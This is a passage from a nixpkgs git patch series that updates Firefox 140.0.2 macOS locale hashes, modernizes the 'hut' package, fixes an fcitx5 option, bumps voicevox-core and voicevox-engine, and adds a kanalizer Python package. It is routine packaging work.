-      sha256 = "1a94f98d57bf6740a033ff7602efcd50e72f010f8e2ca8f8a0d7e6ca9efdc2bb";
+      sha256 = "8a3c05cc3c97566a94b35696490eb69cb04fafa7e14cf8d5382d57021c72fb08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pt-BR/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pt-BR/Firefox%20140.0.2.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "d86d87348e12eb5ee47b5355feee10e33a605d477b435930065867ba55d95556";
+      sha256 = "2db965c8888438d753def07a8ffacdc5a409251b0c84981fa038aaa060de0bde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pt-PT/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pt-PT/Firefox%20140.0.2.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "e76c4434038f51aa077c1f7afd7c9d4aca4663d0a34304161057d099be708e26";
+      sha256 = "dac8aab2c52fbc566f44a9a4830c01a314538c1d8a100e340bce2109636e4fb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/rm/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/rm/Firefox%20140.0.2.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "80ad315bc4c5ca24262bbd6da2c9512c01b4a8af20ab88d863266d9d316ab7d0";
+      sha256 = "9f69b7b620fa1ca834ae1746ede5430443b7c647ebe345e2f16fc6eec04c32b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ro/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ro/Firefox%20140.0.2.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "0ca7cd7fa968e0a3f1b56b2cc75bb40994e9e741586786a28e250e9699b3980c";
+      sha256 = "4ff95a794e5256ffbed21a03b1023d6952d1e382b501dd631275021941162195";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ru/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ru/Firefox%20140.0.2.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "671a25ec32798f1dd6aadb01269f76e0f7222bc46122b3eeff2df0f280976ceb";
+      sha256 = "11b26b444e7dc2dc18d608eda787d9012284ebc6626452e860fddd3e91c67bd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sat/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sat/Firefox%20140.0.2.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "7fde15fba88b867bfbdfc35842d7fe8d5d5adfd1fe2e5632ddcb744d69f57621";
+      sha256 = "d1d000ec25fa58d46cb85ce1f150ebde60ae9842225c67f914dab67ef9e9015f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sc/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sc/Firefox%20140.0.2.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "a02ee8e4439b19d128b7ce01c01be2c984309caa550ab86517ff1cbc68480150";
+      sha256 = "3198a395d6a262c3df48676b0785f90cc6c692b78ea0efeb23d49d1151f07c85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sco/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sco/Firefox%20140.0.2.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "ee1f6e3520f9853af900a0842c80f94d2a830d90748efb25207de9c895c2b9f4";
+      sha256 = "277ce0994d14407d92677d9398e6626170246919b894220cf5c6a5791d44fcb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/si/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/si/Firefox%20140.0.2.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "55d457b06b9664ba00d100345bade3335999ee7df0bba3075eba3bd808aa641f";
+      sha256 = "f461ef04aac49aee48b2315d10525d692ce1fa7d61fc10e5c343cae75ad74a6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sk/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sk/Firefox%20140.0.2.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "9bbbbf5209535f64f9736e886eeeeb79b0d02b50d1238b3835fe60fe961531fb";
+      sha256 = "a27db1ebb4bf19d12793a8407aca4e130484547822ee867ccecb4e61c4915e44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/skr/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/skr/Firefox%20140.0.2.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "e3cf964f2e0300f5feec02be3b45e7712309b07c4fe65692867e429d2bc9e4d7";
+      sha256 = "8a2899690de3a0b58a20dbb7e3775f7e9a7d7494cccacf63e9f36e40df74a418";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sl/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sl/Firefox%20140.0.2.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "bc0a450124095c46ff11a681992ba6b10de00c92edcf6c01aa2bffcc8e815d54";
+      sha256 = "dad132f5e6406be11f20b42ddc663d226dd916a8f204d28fd6410bb10cdf2851";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/son/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/son/Firefox%20140.0.2.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "18a6dc8b89d4bdcdc0d61e859a0bb5a52488a9b35a4bec7288a7708028134e07";
+      sha256 = "ad7325b35f63688ec790cb495f8f730261188422f50ab3dbef82f9113a1b4e58";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sq/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sq/Firefox%20140.0.2.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "e354102d47616e601f388322cda0171188e800a7b89b87492ef25e4d7a2d9966";
+      sha256 = "5ea4f0854edfdc16460981da4cbb5899276327e5c844ca62177b128847045cf8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sr/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sr/Firefox%20140.0.2.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "3c4ba2034cae06fc2047d6e821bd57476ea5b5553b354ebbc789789f5687cb03";
+      sha256 = "3c7ff91c5567d6514df255fe480dae0fcf0605a337a8cf73bc7abed6119a6007";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/sv-SE/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/sv-SE/Firefox%20140.0.2.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "2dacb4595f30580ccaf96875ad9dc35ada3a4561e05c5fc2b0a837e55e539fe9";
+      sha256 = "aaadc713dc8f8b4c7a8175d0f62f7646059ae3d288fb14246b9577a922505226";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/szl/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/szl/Firefox%20140.0.2.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "3ef5b6c9b682e0f82c372a9a6ad856fa4889af5b87a2f9e292185fb696a53371";
+      sha256 = "d687fa834eaf76e11a8f6246d49b63e3a7a37716e3465d7b67959bba59fdaddb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ta/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ta/Firefox%20140.0.2.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "63a342067c199290e5f67567aad809b61a67f8340109b2e13004271e772dd9fb";
+      sha256 = "bee72e67e70e61e4a56b2cab4505778965e060ae7c29a075d83974479d986554";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/te/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/te/Firefox%20140.0.2.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "72de647ff4d6ee4af2219e77206ac2704a8e14bccd18774dff80186b2b872449";
+      sha256 = "eab2cb53fdbafab7de48a1ce91827f7bac16448f308394378ab881dd5734aa57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/tg/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/tg/Firefox%20140.0.2.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "e59d1c5d79d7b6224c60a95642b836436ced01d770478a084f0fdfa730236255";
+      sha256 = "cae682c2a847c0e2df469b5f53387d3e0454894fd3b1eb89b6b5c1b0c9972be2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/th/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/th/Firefox%20140.0.2.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "e03b7ff634cb44595a86e4c0d125929a6365f3d0c4a653d1e9355971da2607ed";
+      sha256 = "35cf811242dbfb38b2369e15fe7454cce24ddfbc143346e3c0751a052d995c39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/tl/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/tl/Firefox%20140.0.2.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "c6b2f952877266ed130bdb1d7565d154664c201d2f03172952ccf8b58ec85628";
+      sha256 = "185ac69c1f1016c89967bb1d755a1d077aeb3807cd6e9a9b9d90cb4399f43178";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/tr/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/tr/Firefox%20140.0.2.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "e60589257d139e71ec8947eb417caae063b21aa730a071f30dc9e8067eaa7fe5";
+      sha256 = "8771f38c75fdba62a609a6111aecc11b252f458b0ff65e8811193e1acb985398";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/trs/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/trs/Firefox%20140.0.2.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "bd8848f95cd11326ee8e919f49a59c7ca97a00bb30e692db8a78187840e7157a";
+      sha256 = "61c4320c6bd48d214aa4b1a8231095ecbda9f5aa6dce3cf5b9efd8270357ea3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/uk/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/uk/Firefox%20140.0.2.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "ca1c3444a09cb2a69f308e226dbc14265dda160142bf15d79ce89b11e7537f0b";
+      sha256 = "3bf21f03952d45c44d7b5c3b1d6907a72f9aaddc1673d666e466e5bd58b7322f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ur/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ur/Firefox%20140.0.2.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "0d043d47d3336ded40a7e5474be3f39dffc3c089dec68bc0a8e41f77034fb1fa";
+      sha256 = "218bd2094f7d3eaf8a864c92f0bc54def3939d89c09e7a9e7d5abf65ad15f6d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/uz/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/uz/Firefox%20140.0.2.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "beebcc97502de3be6ec43d485ed787de93ebbbe1c5b9d4fb816340ab9555c0d4";
+      sha256 = "97ac483e0b8f96378e6887bf070f5038a3dcd14500ef9f752a88b99e6d6b1318";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/vi/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/vi/Firefox%20140.0.2.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "d4f38111ad4b1664230284545db3166f38d50cd124ebb1935087d358fceaff22";
+      sha256 = "e4b0774f97ef8146fd20c8eb42039cc67530bd5f85cf44b5b0da71899a9a9081";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/xh/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/xh/Firefox%20140.0.2.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "892a987d5db7fcd430a1f554680a506f4ea8831430f7cf885762dee2a915f585";
+      sha256 = "54e1da40dfa6b34d501ce9090bc9c5057d326d297f2c4d2d37ebf381c5c2e893";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/zh-CN/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/zh-CN/Firefox%20140.0.2.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "f6b2f1c906f1daa0bf11f29be3c05436e763884da448de96a6f2cd0518fd6b9c";
+      sha256 = "9190935d949f774068f58fd254e385480f28fa816772cb82a5f4438ed062209f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/zh-TW/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/zh-TW/Firefox%20140.0.2.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "38e6797eef99447e204ed63e12592b8e8294449b577adcba4982cba01f1737f3";
+      sha256 = "bcd1b803d8e6b92e321e4978feffe7975d4c2dad35c11736a95ae0a67fe10d2e";
     }
   ];
 }

From 5da18db03b8b9a5e618091ddf7b663a45b1642db Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Fri, 20 Jun 2025 22:33:41 +0200
Subject: [PATCH 2043/4511] hut: embed version string

(cherry picked from commit e201ee74eeefc4a709d0e169a9eb9b2a71d837df)
---
 pkgs/by-name/hu/hut/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/hu/hut/package.nix b/pkgs/by-name/hu/hut/package.nix
index 8193b5dde78f..e1392cb015e1 100644
--- a/pkgs/by-name/hu/hut/package.nix
+++ b/pkgs/by-name/hu/hut/package.nix
@@ -24,6 +24,11 @@ buildGoModule rec {
 
   makeFlags = [ "PREFIX=$(out)" ];
 
+  ldflags = [
+    # Recommended in 0.7.0 release notes https://git.sr.ht/~xenrox/hut/refs/v0.7.0
+    "-X main.version=v${version}"
+  ];
+
   postBuild = ''
     make $makeFlags completions doc/hut.1
   '';

From 412a909c881423ddd32aba3fc0ba8bfca41ca3e2 Mon Sep 17 00:00:00 2001
From: Francesco Gazzetta <fgaz@fgaz.me>
Date: Fri, 20 Jun 2025 22:34:24 +0200
Subject: [PATCH 2044/4511] hut: modernize

(cherry picked from commit 471a8bdcc216b90e7b859c0dffc6c166038adae3)
---
 pkgs/by-name/hu/hut/package.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/hu/hut/package.nix b/pkgs/by-name/hu/hut/package.nix
index e1392cb015e1..6b6053067bdf 100644
--- a/pkgs/by-name/hu/hut/package.nix
+++ b/pkgs/by-name/hu/hut/package.nix
@@ -5,15 +5,15 @@
   scdoc,
 }:
 
-buildGoModule rec {
+buildGoModule (finalAttrs: {
   pname = "hut";
   version = "0.7.0";
 
   src = fetchFromSourcehut {
     owner = "~xenrox";
     repo = "hut";
-    rev = "v${version}";
-    sha256 = "sha256-pc6E3ORDmaMhoNe8GQeYZrxhe5ySQqsMPe/iUbclnGk=";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-pc6E3ORDmaMhoNe8GQeYZrxhe5ySQqsMPe/iUbclnGk=";
   };
 
   vendorHash = "sha256-/51cv/EvcBCyCOf91vJ5M75p0bkAQqVoRUp+C+i70Os=";
@@ -26,7 +26,7 @@ buildGoModule rec {
 
   ldflags = [
     # Recommended in 0.7.0 release notes https://git.sr.ht/~xenrox/hut/refs/v0.7.0
-    "-X main.version=v${version}"
+    "-X main.version=v${finalAttrs.version}"
   ];
 
   postBuild = ''
@@ -37,11 +37,11 @@ buildGoModule rec {
     make $makeFlags install
   '';
 
-  meta = with lib; {
+  meta = {
     homepage = "https://sr.ht/~xenrox/hut/";
     description = "CLI tool for Sourcehut / sr.ht";
-    license = licenses.agpl3Only;
-    maintainers = with maintainers; [ fgaz ];
+    license = lib.licenses.agpl3Only;
+    maintainers = with lib.maintainers; [ fgaz ];
     mainProgram = "hut";
   };
-}
+})

From 696c2bd228ff23b26a5bf7d963209600e8a15a96 Mon Sep 17 00:00:00 2001
From: Taliyah Webb <taliyahmail@proton.me>
Date: Mon, 16 Jun 2025 10:38:18 +0200
Subject: [PATCH 2045/4511] nixos/fcitx5: fix ignoreUserConfig being ignored in
 some cases

(cherry picked from commit 93b72119d8c5edb8f80aac841f5237945382b8de)
---
 nixos/modules/i18n/input-method/fcitx5.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/i18n/input-method/fcitx5.nix b/nixos/modules/i18n/input-method/fcitx5.nix
index 5488b4fa89c6..9b4284e7ae2e 100644
--- a/nixos/modules/i18n/input-method/fcitx5.nix
+++ b/nixos/modules/i18n/input-method/fcitx5.nix
@@ -155,9 +155,10 @@ in
       // lib.optionalAttrs (!cfg.waylandFrontend) {
         GTK_IM_MODULE = "fcitx";
         QT_IM_MODULE = "fcitx";
-      }
-      // lib.optionalAttrs cfg.ignoreUserConfig {
-        SKIP_FCITX_USER_PATH = "1";
       };
+
+    environment.sessionVariables = lib.mkIf cfg.ignoreUserConfig {
+      SKIP_FCITX_USER_PATH = "1";
+    };
   };
 }

From 178928c83978bca3d80516d7bd2819885ee28732 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 26 Jun 2025 19:47:38 +0200
Subject: [PATCH 2046/4511] voicevox-core: 0.15.7 -> 0.15.8

(cherry picked from commit e769ea2dcd2547f0d5c9795feea052c2a764b1bb)
---
 pkgs/by-name/vo/voicevox-core/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/vo/voicevox-core/package.nix b/pkgs/by-name/vo/voicevox-core/package.nix
index 556eb756424d..0ccdfa46688f 100644
--- a/pkgs/by-name/vo/voicevox-core/package.nix
+++ b/pkgs/by-name/vo/voicevox-core/package.nix
@@ -8,7 +8,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "voicevox-core";
-  version = "0.15.7";
+  version = "0.15.8";
 
   src = finalAttrs.passthru.sources.${stdenv.hostPlatform.system};
 
@@ -42,19 +42,19 @@ stdenv.mkDerivation (finalAttrs: {
     {
       "x86_64-linux" = fetchCoreArtifact {
         id = "linux-x64";
-        hash = "sha256-7FgrJ1HlB8l5MHd2KM4lYRx2bYdxrD2+su1G33/ugUA=";
+        hash = "sha256-n0rYSMR5wgjAtlQ4DWRAhJW/VevGG/Mmj6lXieG1U78=";
       };
       "aarch64-linux" = fetchCoreArtifact {
         id = "linux-arm64";
-        hash = "sha256-fD7YMTo9jeB4vJibnVwX8VrukCUeAwS6VXGOr3VXG+c=";
+        hash = "sha256-GOgBH0UinZMiNszTp2CWJKT9prTi84KH3V9fxpmweeU=";
       };
       "x86_64-darwin" = fetchCoreArtifact {
         id = "osx-x64";
-        hash = "sha256-5h9qEKbdcvip50TLs3vf6lXkSv24VEjOrx6CTUo7Q4Q=";
+        hash = "sha256-8TRlu1ztPciKDX9Igr0TKcyLzP8WRwTN9F11MjXNNW8=";
       };
       "aarch64-darwin" = fetchCoreArtifact {
         id = "osx-arm64";
-        hash = "sha256-0bFLhvP7LqDzuk3pyM9QZfc8eLMW0IgqVkaXsuS3qlY=";
+        hash = "sha256-6Na7LBZg2bWaX1VN6r6zdyg0mszBNn0e7u+cmqKVuY0=";
       };
     };
 

From 2ab7327a0e781fb024c58c1f1eafd353142fdc06 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 26 Jun 2025 19:46:39 +0200
Subject: [PATCH 2047/4511] python313Packages.kanalizer: init at 0.1.1

(cherry picked from commit fad46aabd67ea3c906155b63c6c7eeadbdafb398)
---
 .../python-modules/kanalizer/default.nix      | 71 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 73 insertions(+)
 create mode 100644 pkgs/development/python-modules/kanalizer/default.nix

diff --git a/pkgs/development/python-modules/kanalizer/default.nix b/pkgs/development/python-modules/kanalizer/default.nix
new file mode 100644
index 000000000000..06965e2120ab
--- /dev/null
+++ b/pkgs/development/python-modules/kanalizer/default.nix
@@ -0,0 +1,71 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchurl,
+  fetchFromGitHub,
+  rustPlatform,
+  pytestCheckHook,
+}:
+
+buildPythonPackage rec {
+  pname = "kanalizer";
+  version = "0.1.1";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "VOICEVOX";
+    repo = "kanalizer";
+    tag = version;
+    hash = "sha256-6GxTVlc0Ec80LYQoGgLVRVoi05u6vwt5WGkd4UYX2Lg=";
+  };
+
+  sourceRoot = "${src.name}/infer";
+
+  model =
+    let
+      modelTag = "v5";
+    in
+    fetchurl {
+      url = "https://huggingface.co/VOICEVOX/kanalizer-model/resolve/${modelTag}/model/c2k.safetensors";
+      hash = "sha256-sKhunAsN9Uwz2O1+eFQN8fh09eq67cFotTtLHsWJBRM=";
+    };
+
+  prePatch = ''
+    substituteInPlace Cargo.toml \
+      --replace-fail 'version = "0.0.0"' 'version = "${version}"'
+
+    ln -s "$model" crates/kanalizer-rs/models/model-c2k.safetensors
+  '';
+
+  cargoDeps = rustPlatform.fetchCargoVendor {
+    inherit
+      pname
+      version
+      src
+      sourceRoot
+      ;
+    hash = "sha256-2vnld5ReLsjm0kRoRAXhm+d0yj7AjfEr83xXhuyPbOU=";
+  };
+
+  buildAndTestSubdir = "crates/kanalizer-py";
+
+  nativeBuildInputs = [
+    rustPlatform.cargoSetupHook
+    rustPlatform.maturinBuildHook
+  ];
+
+  nativeCheckInputs = [ pytestCheckHook ];
+
+  pythonImportsCheck = [ "kanalizer" ];
+
+  meta = {
+    description = "Library that guesses the Japanese pronounciation of English words";
+    homepage = "https://github.com/VOICEVOX/kanalizer";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ tomasajt ];
+    sourceProvenance = with lib.sourceTypes; [
+      fromSource
+      binaryNativeCode # the model file
+    ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 43707004bea1..89dffb715ad4 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -7405,6 +7405,8 @@ self: super: with self; {
 
   kalshi-python = callPackage ../development/python-modules/kalshi-python { };
 
+  kanalizer = callPackage ../development/python-modules/kanalizer { };
+
   kanidm = callPackage ../development/python-modules/kanidm { };
 
   kaptan = callPackage ../development/python-modules/kaptan { };

From 427629a948a0e3cd17ce1f55e1689e7617306db0 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 26 Jun 2025 19:48:36 +0200
Subject: [PATCH 2048/4511] voicevox-engine: 0.23.0 -> 0.24.0

(cherry picked from commit c675af8ef1be1ee9f293ded79084db554d4a5e70)
---
 .../vo/voicevox-engine/make-installable.patch | 38 ++++----
 .../mecab-remove-deprecated.patch             | 92 -------------------
 pkgs/by-name/vo/voicevox-engine/package.nix   | 36 ++++----
 .../vo/voicevox-engine/pyopenjtalk.nix        | 31 +++----
 4 files changed, 46 insertions(+), 151 deletions(-)
 delete mode 100644 pkgs/by-name/vo/voicevox-engine/mecab-remove-deprecated.patch

diff --git a/pkgs/by-name/vo/voicevox-engine/make-installable.patch b/pkgs/by-name/vo/voicevox-engine/make-installable.patch
index ba1c7a00cb56..bb0a27eb6d34 100644
--- a/pkgs/by-name/vo/voicevox-engine/make-installable.patch
+++ b/pkgs/by-name/vo/voicevox-engine/make-installable.patch
@@ -1,26 +1,26 @@
 diff --git a/pyproject.toml b/pyproject.toml
-index fa23446..6a7705c 100644
+index 42a636b..209893f 100644
 --- a/pyproject.toml
 +++ b/pyproject.toml
-@@ -40,7 +40,20 @@ use_parentheses = true
- datas = "datas" # PyInstaller's argument
+@@ -23,6 +23,21 @@ dependencies = [
+   "uvicorn>=0.34.0",
+ ]
  
- [tool.poetry]
--package-mode = false
-+name = "voicevox-engine"
-+version = "@version@"
-+authors = []
-+description = ""
-+packages = [ { include = "voicevox_engine" } ]
-+include = [
-+  { path = "resources/**/*", format = ["sdist", "wheel"] },
-+  { path = "run.py", format = ["sdist", "wheel"] },
-+  { path = "engine_manifest.json", format = ["sdist", "wheel"] },
-+  { path = "presets.yaml", format = ["sdist", "wheel"] }
++[project.scripts]
++voicevox-engine = "run:main"
++
++[build-system]
++requires = ["hatchling"]
++build-backend = "hatchling.build"
++
++[tool.hatch.build]
++only-include = [
++  "voicevox_engine",
++  "resources",
++  "run.py",
++  "engine_manifest.json",
 +]
 +
-+[tool.poetry.scripts]
-+voicevox-engine = "run:main"
+ [tool.uv]
+ default-groups = []
  
- [tool.poetry.dependencies]
- python = "~3.11"
diff --git a/pkgs/by-name/vo/voicevox-engine/mecab-remove-deprecated.patch b/pkgs/by-name/vo/voicevox-engine/mecab-remove-deprecated.patch
deleted file mode 100644
index b9ac0e1c1079..000000000000
--- a/pkgs/by-name/vo/voicevox-engine/mecab-remove-deprecated.patch
+++ /dev/null
@@ -1,92 +0,0 @@
-diff --git a/lib/open_jtalk/src/mecab/src/char_property.h b/lib/open_jtalk/src/mecab/src/char_property.h
-index 35f4b05..9c904ba 100644
---- a/lib/open_jtalk/src/mecab/src/char_property.h
-+++ b/lib/open_jtalk/src/mecab/src/char_property.h
-@@ -37,7 +37,7 @@ class CharProperty {
-   inline const char *seekToOtherType(const char *begin, const char *end,
-                                      CharInfo c, CharInfo *fail,
-                                      size_t *mblen, size_t *clen) const {
--    register const char *p =  begin;
-+    const char *p =  begin;
-     *clen = 0;
-     while (p != end && c.isKindOf(*fail = getCharInfo(p, end, mblen))) {
-       p += *mblen;
-diff --git a/lib/open_jtalk/src/mecab/src/darts.h b/lib/open_jtalk/src/mecab/src/darts.h
-index 91b2eae..d6736cf 100644
---- a/lib/open_jtalk/src/mecab/src/darts.h
-+++ b/lib/open_jtalk/src/mecab/src/darts.h
-@@ -404,10 +404,10 @@ class DoubleArrayImpl {
-     T result;
-     set_result(result, -1, 0);
- 
--    register array_type_  b = array_[node_pos].base;
--    register array_u_type_ p;
-+    array_type_  b = array_[node_pos].base;
-+    array_u_type_ p;
- 
--    for (register size_t i = 0; i < len; ++i) {
-+    for (size_t i = 0; i < len; ++i) {
-       p = b +(node_u_type_)(key[i]) + 1;
-       if (static_cast<array_u_type_>(b) == array_[p].check)
-         b = array_[p].base;
-@@ -431,12 +431,12 @@ class DoubleArrayImpl {
-                             size_t node_pos = 0) const {
-     if (!len) len = length_func_()(key);
- 
--    register array_type_  b   = array_[node_pos].base;
--    register size_t     num = 0;
--    register array_type_  n;
--    register array_u_type_ p;
-+    array_type_  b   = array_[node_pos].base;
-+    size_t     num = 0;
-+    array_type_  n;
-+    array_u_type_ p;
- 
--    for (register size_t i = 0; i < len; ++i) {
-+    for (size_t i = 0; i < len; ++i) {
-       p = b;  // + 0;
-       n = array_[p].base;
-       if ((array_u_type_) b == array_[p].check && n < 0) {
-@@ -469,8 +469,8 @@ class DoubleArrayImpl {
-                       size_t len = 0) const {
-     if (!len) len = length_func_()(key);
- 
--    register array_type_  b = array_[node_pos].base;
--    register array_u_type_ p;
-+    array_type_  b = array_[node_pos].base;
-+    array_u_type_ p;
- 
-     for (; key_pos < len; ++key_pos) {
-       p = b +(node_u_type_)(key[key_pos]) + 1;
-diff --git a/lib/open_jtalk/src/mecab/src/dictionary.cpp b/lib/open_jtalk/src/mecab/src/dictionary.cpp
-index 5717d4d..3ab6e1f 100644
---- a/lib/open_jtalk/src/mecab/src/dictionary.cpp
-+++ b/lib/open_jtalk/src/mecab/src/dictionary.cpp
-@@ -66,7 +66,7 @@ int progress_bar_darts(size_t current, size_t total) {
- }
- 
